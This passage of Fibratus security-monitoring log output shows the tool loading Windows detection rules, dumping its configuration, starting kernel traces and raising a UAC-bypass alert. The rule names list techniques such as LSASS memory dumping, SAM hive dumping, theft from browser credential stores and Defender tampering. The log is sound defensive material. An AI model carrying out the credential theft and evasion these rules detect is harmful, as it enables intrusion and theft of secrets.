C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:37:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:38:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:38:09+01:00 level=info msg=bootstrapping with pid 20860. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:38:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true stack-enrichment=>true enable-dns=>false enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>false enable-fileio=>true max-buffers=>36 enable-vamap=>true enable-handle=>false enable-registry=>true flush-interval=>1s buffer-size=>512 enable-net=>true min-buffers=>16 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true max-backups=>15 level=>info max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ template-name=>fibratus healthcheck=>true timeout=>5s enabled=>false bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s trace-log=>false sniff=>false] amqp=>[ delivery-mode=>transient routing-key=>fibratus timeout=>5s exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false passive=>false durable=>false exchange=>fibratus enabled=>false url=>amqp://localhost:5672] http=>[ serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST timeout=>5s]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-files=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:38:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:38:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:38:22+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5053277 